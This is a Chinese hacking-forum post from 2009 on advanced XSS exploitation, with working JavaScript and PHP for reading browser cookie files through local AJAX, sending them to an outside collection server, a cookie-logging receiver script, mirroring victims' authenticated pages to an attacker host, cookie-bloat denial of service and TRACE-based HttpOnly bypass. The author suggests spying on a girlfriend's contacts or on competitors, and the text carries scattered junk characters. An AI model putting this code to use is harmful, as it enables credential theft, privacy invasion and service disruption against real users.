XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
2 @" ?6 A, @0 \  T# Z) G转帖请保留版权
3 V2 D* T1 s  A

& X- J, U* K- ^; H1 D3 K% L  F# j
5 e2 j9 X$ Q" @, ?! u-------------------------------------------前言---------------------------------------------------------


0 P5 A4 u! k/ G, Y3 J% \" s本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
$ h, x, w6 D& e4 ], T1 }

' z( G; J' H* F8 r! {6 U如果你还未具备基础XSS知识,以下几个文章建议拜读:
+ J- p$ f" O5 q% d* a5 Ghttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
- I  ^  j5 {& }1 h4 D2 s  b# Ihttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
) L/ _+ z7 j/ z$ y8 s; Zhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

) q9 ^+ Z* [, N

9 k% u2 \: j" D3 z/ w
2 @7 F. C0 {& U  W1 f如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
, U) s. d' s' [0 R- z& e
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

3 d" B/ z. y( n+ S0 H7 g9 Z( j/ eBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

& @1 }+ N; m2 K4 M! G0 XOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
9 Z7 C) ~+ Z: I) Q+ T, ~6 d
5 f' T5 e2 g6 s( \, O..........
5 o0 R0 t# n- c( X$ E复制代码------------------------------------------介绍-------------------------------------------------------------
" u. t5 |  x7 k' x0 e
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
' t0 z0 y" f7 [# l
3 V' u3 k& r$ \" Z0 |) p

. X# j& B0 m4 R. b跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

& \4 ?- p6 O5 i3 \/ Y' f9 U* }3 D

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

9 f+ k/ r# K0 i. q# K! d' f' c1        通过XSS,我们能实现什么?
7 f& |% ^' N! K; {
2 K/ p$ p. v& B: x3 H! g2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
/ X; j5 R- ?. G  n
) Y8 A1 ?2 S9 ^2 ]( z2 S3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
4 k3 W6 a3 B3 b. n" W5 w
- d. |+ |/ R5 b: M

------------------------------------------研究正题----------------------------------------------------------

. [7 n4 J, P. G& f6 ?' {% g1 W8 D
0 g  c  W4 L& \+ M
' D* T, z0 E9 W9 J通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.

7 t0 F/ A8 y8 M7 }$ z& z. ]
" f" ~0 k, u, W9 B, }* j5 c/ k' t
9 M. F9 i( R% }# ^
- r5 w! K" ~5 l3 N3 J
4 f- e! X0 Y: ]" z6 D  {(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
+ q6 Q) z8 t7 J
* H% u5 S3 p& q, d( t; v+ h! i我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
1 Q0 S. ~3 w( n3 Y  _$ C

) t# q; I7 H& e) y6 s  w' n
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
$ P& M: s- J( G% Q
! q( p5 C* p0 Q% U3 ]

+ H; v9 d1 B+ Y2 L) w+ E    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
; g) W/ J3 o& y6 o

. C- i: ~5 j5 g$ E
& x3 L. m9 ^% Z( q! ?$ q    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
7 O, H$ }# G( X! u. K2 g
7 f; i2 Y$ ~. k; P# {+ T' ?* J/ J    function $(x){return document.getElementById(x)}
6 C* y! J( T1 n
0 ~6 f$ N4 l1 `9 v9 e  D+ Z) c

$ n* u1 L3 ~. J% J: u6 w    function ajax_obj(){
3 G& g5 p# @) W
    var request = false;

    if(window.XMLHttpRequest) {
7 i) N- Q; W$ ?
& l' Q" C' I" {( N0 F; s" s    request = new XMLHttpRequest();
2 ~0 Z5 P4 \( t; C9 F  ]5 B. I+ P+ M
    } else if(window.ActiveXObject) {

; r! A8 b6 y- r8 s! E8 d' P0 ^    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


  N- ]# N3 I8 p0 J4 Y
0 b3 }# c! t$ q4 \% C# w7 N    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 N& F; z: g' K2 M' P: K3 W
. L7 [5 E7 U3 \* L, g$ P- j    for(var i=0; i<versions.length; i++) {
# t$ d& ~7 h2 }' P1 u/ |
  @2 C: q" t! k    try {
0 p1 _* Y5 ?# U, Y' M$ ^8 d& [+ O
5 V4 v. D' ^' d    request = new ActiveXObject(versions);

4 t3 I# J- L7 l! |: v0 r    } catch(e) {}

    }
7 F2 Y# o& {: P" C, ]: y
    }
6 C& k- A9 O5 s
    return request;

' l; g/ L1 s+ A2 A& q    }
& a! G6 q5 P1 j  c
+ J  R7 f: l+ B  R3 o% T/ x    var _x = ajax_obj();
% M9 Q9 v6 [9 ^" a. [
    function _7or3(_m,action,argv){
+ z5 ^+ h/ |) x6 e  j
0 _' y; u2 W9 L2 T! w+ l# j    _x.open(_m,action,false);
$ G8 P& p0 u. M9 P/ m
, g+ w' t2 p; u$ t' x$ _3 n9 I# Z! d    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

" r3 ^! |3 t) B& ~    _x.send(argv);
# S  H0 z" b8 e) d
    return _x.responseText;

- s& ^8 ?7 Y+ d( q    }


2 f! e9 r3 ?& B6 O  S8 {0 }
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
" t, v$ M+ ?7 E# X0 U9 O
. Q5 |) b- k+ y" R% }' H    alert(txt);



; k; ^( Y* F+ ~+ t. ^    </script>
% e  h1 Z8 d# Q6 ~1 ]" l复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
: e$ T. {6 V4 T! [/ ^* H9 f
    function $(x){return document.getElementById(x)}
9 j: r+ D, c$ [- b5 `; e6 t
  c% y# _  c: u

) h; E( j4 G0 ~1 {" ~    function ajax_obj(){
5 v& a+ o0 ~) C' b. W/ K3 F
5 G, ]* z& M5 w; r$ z$ _    var request = false;

. G+ ]% L5 U5 i+ @- q4 }2 ^5 X8 m( `% y    if(window.XMLHttpRequest) {
7 i8 o. Z" U& E7 E: L( h
    request = new XMLHttpRequest();
- e$ h7 s( Z, t
" b0 m4 P4 n+ @. {8 F" C    } else if(window.ActiveXObject) {
  Q. e, ?4 r( F0 ^
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

1 k( D: w; n( q# s3 ]9 H5 s
9 j( y2 [" k# K5 |
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

/ ~! O2 p" \% w( q    for(var i=0; i<versions.length; i++) {

% t7 x& e9 X3 A$ N, }    try {
- f2 x) a1 a: N4 I3 h
& S. ?0 a( J6 c. Y$ U$ ?    request = new ActiveXObject(versions);
7 p" u  Q' [6 Q% l# f
    } catch(e) {}
. t6 X( D& w* Q
6 e: r7 B- L7 E& T3 a0 [, H3 z    }
8 u3 J) G! e/ G( P5 \: @, {
    }

    return request;
9 J- M9 D% p; l' `& D: L& ?! }2 _" h
9 X+ U, U7 g' H( ?    }
8 _6 @7 G' d5 ?) d* G" j) {3 T- ]  Y
* c6 p; A, @8 R0 d( l$ y( m    var _x = ajax_obj();

9 o1 ]$ G. f9 z    function _7or3(_m,action,argv){
5 J1 M( @% ?3 `: \( D- q6 k
    _x.open(_m,action,false);

( Z1 n* {1 ]8 L2 v3 `2 t    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
5 H4 Y6 ]4 P9 v; C' `! z7 B6 N
2 c' ^' U7 V( G, P. M% U1 R    return _x.responseText;
  e# _$ r( m0 R3 ~% }' x
  M% Q! V' u6 C, t    }
9 J. K, `% b8 }9 E  Y2 k  n0 j8 r

# t2 R* o5 Q4 B+ {1 N9 \
6 \) `+ z" P- j5 T  Q8 q8 @- a, C    var txt=_7or3("GET","1/11.txt",null);
+ |9 X' u0 j" @8 {" h
2 m: ^& i8 z1 n6 Y2 V    alert(txt);


2 e1 \0 g, @. O0 h1 \5 W& F4 r
" p& P4 R  I" N4 n. m. d1 C    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
) _" O# _: o+ ?0 l  G
/ l9 l7 U, h/ ~) t
$ [4 x& _+ ^4 j9 l3 q0 s
& Y8 X; e4 E' u, N  x: F" d& M1 w1 k/ XChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



+ O3 H4 t! S( t<?   

/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
, v6 y$ j4 K' S: Y$ r
     www.inbreak.net   
" v4 q% }' M  A# M! B, i5 y* U9 O
2 [0 u3 a8 N) o: e2 a& s3 d     author voidloafer@gmail.com 2009-4-22   
; s: Z7 P( t9 W: Y' N
4 o8 b/ `' Q0 F& ]4 \6 F     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
) ^: x8 g) V* T! i) |! ?- k4 P5 Y2 _. ^! }
*/  
) K7 p: a  A+ E( A8 o, [. G/ z5 [
, h! e) x; l( e  m# oheader("Content-Disposition: attachment;filename=kxlzx.htm");   

1 K: c3 T/ p0 G- K* |* Hheader("Content-type: application/kxlzx");   
' @$ K, e: L: C: j: v& a) s
2 ~/ \' W4 p: ]' c3 A/*  
+ u4 {$ k/ L1 s$ l
9 S9 o5 x- ]2 X! Y     set header, so just download html file,and open it at local.  

3 h1 u, ]! I% @0 U1 ^' r9 q*/  
" W, _- I* B& B% X" e  ?% ^; _
?>   

* {' X7 z( T/ |7 c+ T6 Y9 v<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

# Q! _$ ~* d" \3 @& j7 P* R& W" V. R</form>   

<script>   

function doMyAjax(user)   

- v; O4 R0 ]& R' ]{   
6 @2 k# |" m6 \+ a9 I
& y1 O, F1 X4 Mvar time = Math.random();   
2 b+ w" R% c2 F( Y9 a
5 Y9 l, t0 C0 v& C/*  
- \2 b, o* [$ g! _
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
) y! D$ W" `5 R; \( [3 o. ~
and so on...  
0 k5 L) l# x1 \; n; h
*/  
. b' x' n+ [* V0 _) p3 j% S
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

  k( S* B) j1 Y& K3 x5 ?& VstartRequest(strPer);   

# ~" z2 B6 t7 H1 z
( A" O% u1 ^$ q* x
}   

/ S* Q' z5 z' O4 J1 `   

% R  p, B  x. n$ X5 v7 w! p" }function Enshellcode(txt)   
2 w; t! a! K0 Q! a# \
{   

var url=new String(txt);   
. u. j+ z1 H+ |1 m& @" |
8 `1 e1 \  s0 m) B: K& L" [var i=0,l=0,k=0,curl="";   
6 W$ j( T8 U& _' v6 Y- R2 P
l= url.length;   

. v: J' t  V& |5 w% Gfor(;i<l;i++){   
4 s$ S0 p- V, P* @) f& t) m2 N
, V1 s0 Z7 s. e/ zk=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
( ~% f1 E! E! P  @
& A' U  z1 u0 qif (l%2){curl+="00";}else{curl+="0000";}   
/ j2 q  o9 N$ `1 Y
1 X/ V8 L/ O, ~8 Y+ z  icurl=curl.replace(/(..)(..)/g,"%u$2$1");   
# o/ |% U* d& n7 D2 B8 g
return curl;   
  N% p, C' |( C  D7 [, [
6 m) k- W3 _5 I8 S- ^- v+ i}   
# o0 q' ]2 y$ q* ^
   

3 _: ?2 f; j$ [5 N$ C   
7 D5 @6 H' _% [! N7 {2 n5 N# B
! H8 D# l4 P/ Q& ]' Lvar xmlHttp;   
; }6 Q: R: l% A2 T4 A6 S1 o5 L9 i; ]8 B
function createXMLHttp(){   
5 F% _, ~5 j: K0 y
" R) u8 }( j! T) _' p+ V     if(window.XMLHttpRequest){   
+ _$ T3 B; C; k, u7 t/ n
xmlHttp = new XMLHttpRequest();           

     }   

     else if(window.ActiveXObject){   
8 _( }- ?+ g* q3 w! W
7 X+ Z# R' X& w7 z2 J& {$ LxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
+ z: d( G: J! Y- M* v  ~7 _
}   
: e7 ~. |8 d& w4 N1 q
/ _  L! z( R5 ]$ B3 `3 D   

% P% R+ M8 M3 }) o: L) o& R+ M: ?function startRequest(doUrl){   

   
+ B- O* O. J' G; }' u
0 m3 ]9 h% O" `1 N3 P     createXMLHttp();   
( f, W  M% c- J' b

* k+ G8 ?& i9 s# j3 w$ B7 y3 I
     xmlHttp.onreadystatechange = handleStateChange;   

; Y5 g1 h# n6 v" ?
: D  ^% n" X% X) O# x" b
     xmlHttp.open("GET", doUrl, true);   


: H9 @5 v5 g8 n* ~* w8 q# N/ `
     xmlHttp.send(null);   



3 M; N% W. n/ P# F8 m$ Q" L

}   

# f4 c, R/ a" W2 b5 a3 t   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   
3 Y. C+ x9 S9 w
     var strResponse = "";   
& _1 e; R  v% ]! F5 r
* L7 D1 e+ `2 A1 [     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
( S3 R7 C; C4 }# G  v' @
5 S6 c% w( l" b/ V- J+ ]        
8 T2 D9 J* q8 c# t9 ?& m+ y
     }   
( Y/ J* y  `1 U; M* v9 T5 n" ?
}   

   

' V, j# S" a' _  M4 A; W' p   

, h) a8 J+ W/ t8 y- a. f+ [! afunction framekxlzxPost(text)   

{   

     document.getElementById("input").value = Enshellcode(text);   

6 K2 _; J( x3 A4 l9 Q/ c0 M     document.getElementById("form").submit();   

}   
; d' J0 _! S, ?2 F' i( C: ?
   

0 F* ^: u% x6 KdoMyAjax("administrator");   

( |" F- j7 f+ E! M* V   

) I: p7 p" v9 `</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
3 j" i1 p, m6 J5 v
! n8 X8 T( `3 _$ F) H# q8 G' a* hvar xmlHttp;  

function createXMLHttp(){  

" d- C2 k* ^! y) Q     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
5 z: K) y# c8 M) i, {% N9 u2 a
     }  

     else if(window.ActiveXObject){  
! N6 `3 {1 P( }, b' V, W# k
6 G, y8 a2 E* r2 c7 A         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
, {0 w1 d4 v6 Z
' T. I8 g' D$ l     }  

}  

   
7 {& L$ q2 k2 S7 N: h# y8 U7 n; Q: L
3 H. V$ p7 T  C- e7 }* Afunction startRequest(doUrl){  

5 ?7 d. \7 T; B  L8 x# o           
0 K4 ~! J3 }% x
     createXMLHttp();  
) k: ?# K2 S7 m7 O
      
3 u2 l6 X0 j: V' Q1 X) i% Z5 Z! b( g
  q( G; ?- V( B* @5 |5 l     xmlHttp.onreadystatechange = handleStateChange;  

      
$ S% ~' z0 ?8 N% S, G, y+ w6 C: B1 N
     xmlHttp.open("GET", doUrl, true);  

8 @1 W5 \/ N' K6 W      

# }" \, U8 Q% `# P& }     xmlHttp.send(null);  
9 z- T+ G3 @1 X+ [; T8 m7 J  V
8 P1 A' D% p  K8 l' N      
6 K% A. I; G0 ~5 h% P  _( d) w3 v2 B
0 Y. Y6 Y" H% u      
" k; K% `' _. z3 U+ C( Y' l# A
}   
0 Z9 G/ a) q. m) _% u. S! \
8 R, L# d' C) ]* O: \' K9 h& r   

function handleStateChange(){  

( y/ c2 I7 ]& l     if (xmlHttp.readyState == 4 ){  
9 s! t/ n. s5 ?: T- m
             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               
' [0 A1 `; Y' s: Z
     }  
% C3 H& y- d  p5 s5 b% |
. @% t( D( }! q2 U: q}  
5 i4 w$ k0 I( q! Z# o, B) H: J% ?
1 J+ [; j: t5 h   
, ~9 q) N$ [3 `
& }3 w, W& a) ^, s# D, V2 ^# Pfunction doMyAjax(user,file)  

{  
# k% b' F4 p% s# A% Y& b5 h0 g$ e# U
( G7 Q5 M  F( x  T         var time = Math.random();  

           
/ y8 o7 @+ e% T/ p
3 O( n8 e) G) Y         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
1 F6 b$ A- t3 }* N/ N
3 l. @% U* u) `( p) [9 ~           
* k& [8 F/ e7 j. q/ H3 N
) I2 o5 h1 o) J4 C" R; x! a) ], d         startRequest(strPer);  
( N1 }0 x2 G' b& B) v
$ v- P* J/ M  i8 Z      

}  

   

function framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
3 w! O: Y9 Y3 N- }, C' v% S1 U
}  

   
4 ?- X. l& K8 k$ e8 r: B- |9 ^
. _9 a0 ]" i& x, l' H( W' qdoMyAjax('administrator','administrator@alibaba[1].txt');  

   
5 j  x' J) {& R" {
</script>

2 T# x5 C; U' F1 y
3 e2 I, {% T- u$ Y3 g9 c% r4 x6 o/ K

- {2 G  `+ f  K7 y: n: L; @
9 B2 U6 g+ Q  Y, F+ t! O1 ma.php
7 Q+ E8 |7 Y0 t1 G
. M0 D/ c$ i4 e8 \) S( V) b

<?php      
5 K  y3 X  k. d: O& Z" |
   

; i. }, s2 X) Y; }! I2 ], f- g$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

8 G) Y+ {: q7 P5 ?0 E8 O4 d$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
" t' G/ T4 M/ z, K6 }2 P
  
4 N2 m& E8 r5 b
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

3 S# i- a  w! k/ L. N! |2 rfwrite($fp,$_GET["cookie"]);      
1 i' m6 m4 \9 }- p
8 J$ r4 z. W$ Ufclose($fp);   

?>
! M. N. O- {5 {" W( ~1 k复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

+ b$ j' K6 B- ]4 d1 b- R4 l: D$ N或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
8 Z5 W) l( {# p4 h" p- s3 r1 e6 g
4 w% b8 a/ s% P5 T% B代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
/ b& j% W! p1 \+ F) u$ K* h* A
# j' s/ E2 P( z3 C( w1 Q% f- h//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
' |( H5 I: e4 ~0 A, E" B. W  |
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

2 X$ o1 L/ o9 Z% N5 m" q1 yfunction getURL(s) {

8 _7 V. z0 C5 C5 g1 V; k& Kvar image = new Image();
4 c5 P3 O1 T4 J& A. R
# a3 {4 a- ]. d7 w8 u8 e7 dimage.style.width = 0;

image.style.height = 0;

image.src = s;

}

+ T" i6 V7 S6 W! D/ QgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
1 X# r: O4 m; i8 `这里引用大风的一段简单代码:<script language="javascript">
* M: l5 X& c! b
/ m  m* C* m1 \var metastr = "AAAAAAAAAA"; // 10 A

& R  a9 B! d2 R* X# t6 }" Vvar str = "";
% E' o7 B2 V( {5 x- M& E
while (str.length < 4000){

    str += metastr;
1 e4 n7 ?- ]- p& t0 F# ^
}

0 k2 g  B: r* e& C/ K. I/ ?

  L9 {, G. O; \. A( N/ o# ?document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
& ~* S# a! ~" q* O# I7 r- K
( W8 V8 Y* |3 f- ^  c* I$ l</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

' Q1 f+ `2 r2 q& q: x假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
9 C! `$ G# x5 c* }6 O6 k4 k攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

8 J* B3 H0 |( V4 N5 [
/ }( ~7 w$ a1 v" M( r: R6 |
3 y1 r' S4 g- Q9 m+ k3 x$ i: ?

; Q& _' n9 j5 w( |
3 u( `, n$ A: y9 b/ N6 m$ X; F(III) Http only bypass 与 补救对策:

3 a0 ~& |) M& V3 b- T" _$ e什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
) w% i5 F/ v* c% k' k以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

function normalCookie() {
  c% y2 f  G5 H# j0 z9 ]6 |# B' \
$ u. Q) p6 ^" H, r5 ~& k. qdocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
3 N: q( e7 K& d1 Y4 @1 Q
4 }  ^4 R/ Y+ L& ]}
- a- D' h/ H# e7 \+ F1 C
' `# u% \! \) b& y2 C$ d  V


5 M' Y% E$ J: t" u  O6 T
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
& L$ N0 _# o( _7 [8 Y& i2 ~
+ A2 x' z/ u2 |* oalert(document.cookie);}



//-->

. n) r& y/ p3 r- K1 B</script>


, Q4 c* R( r6 e" g
& L- T2 y3 w4 G+ ]% ^" w: g  b2 u& s<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
6 d' i. ^& Q3 E7 Q- v0 U
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
0 G, C3 ]$ o5 Y) @% |复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

1 T0 l5 H' n( W) i6 A
3 P8 ^( _% L% y+ S  s# p0 s
8 p+ k5 @7 y& N- _var request = false;

- H' i9 ~3 e3 P+ y8 m; Q6 F, x* B        if(window.XMLHttpRequest) {

& f1 K8 y1 Q% i3 Z% n            request = new XMLHttpRequest();
: @8 _) d! O" e# c; a1 t/ L
            if(request.overrideMimeType) {
8 B  o* G, \- K, I2 O
                request.overrideMimeType('text/xml');
- P+ E/ g8 u) U* L* O3 i* F1 m
            }

5 q7 R! F5 w* I$ M6 y- d3 @; d        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

* r. L4 U% y; w1 ^                try {
. S" n  [) D4 z4 C3 `6 l5 E
# ]$ \9 @: o% H8 g2 a1 @( X                    request = new ActiveXObject(versions);
' |% w. F  J+ t9 h9 }3 ]2 r9 w
8 p5 m% C/ s2 _7 |4 ]- \                } catch(e) {}

            }
- Y) c: B3 J7 y/ L& X* ]1 `
        }
2 |1 L1 X5 O- G
3 h2 T- x: {+ w' jxmlHttp=request;
) m5 x- V: Y. m, v$ G
xmlHttp.open("TRACE","http://www.vul.com",false);
  E% F$ r& T5 m) F# x
xmlHttp.send(null);

! h% Q$ Q+ B- y1 U+ cxmlDoc=xmlHttp.responseText;
5 }) E6 Z8 N0 u% q3 l
alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
1 Y5 R2 Y/ G1 a. F" Y
# t( x7 }# Y. {% Fvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% x( Z9 q% ]( u  N! _! t
XmlHttp.open("GET","http://www.google.com",false);
& d5 T% f1 }- k% p, g
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
8 \" i5 b! s" q7 @  A+ k9 g
XmlHttp.send(null);
6 I7 G! M1 Q' t+ a
var resource=xmlHttp.responseText
8 B+ C9 M8 ^3 h' P3 b. h
resource.search(/cookies/);
% ]  T5 x/ J4 F5 Z: ?
......................

</script>
. k8 M5 h2 ]$ b* ?+ ]# p% W




) N5 t" o, _6 e" @* O6 A如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
  C7 {2 c  z# n" n6 L3 B. P- k
[code]

RewriteEngine On

8 V0 M- F: b( XRewriteCond %{REQUEST_METHOD} ^TRACE
6 C8 G8 G+ c/ l; ^
RewriteRule .* - [F]
